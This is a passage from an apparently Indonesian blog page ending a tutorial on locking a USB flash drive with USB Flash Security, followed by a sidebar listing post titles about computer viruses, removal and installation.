Pastikan ketika menginstall aplikasi dari awal, Anda harus memindahkan dahulu semua file Anda ke Drive lainnya, karena saat proses instalasi aplikasi ini akan menghapus semua data yang ada di dalam Flash Disk!

USB Flash Security juga memiliki mekanisme Locking system, yaitu membutuhkan password untuk mengakses semua data. Password ini yang akan anda buat di dalam langkah nomor 6. Selamat mencoba.

Catatan file installer flash disk security:

Link download i http

Sabtu, 25 Januari 2025

Cara Membuat Virus dengan macro word 03

Cara Kerja Virus Komputer Menurut Jenisnya

7 Langkah Cara Menghapus Virus Komputer

4 langkah Cek Virus Tanpa Antivirus

Panduan Instal Komputer (Aswat Arianto 2010)

Menyembunyikan Partisi Harddisk Dengan Perintah CM

Mengunci USB dengan USB Flash Security

DISDIK

Pengikut

GAYO LUES

Total Tayangan Halaman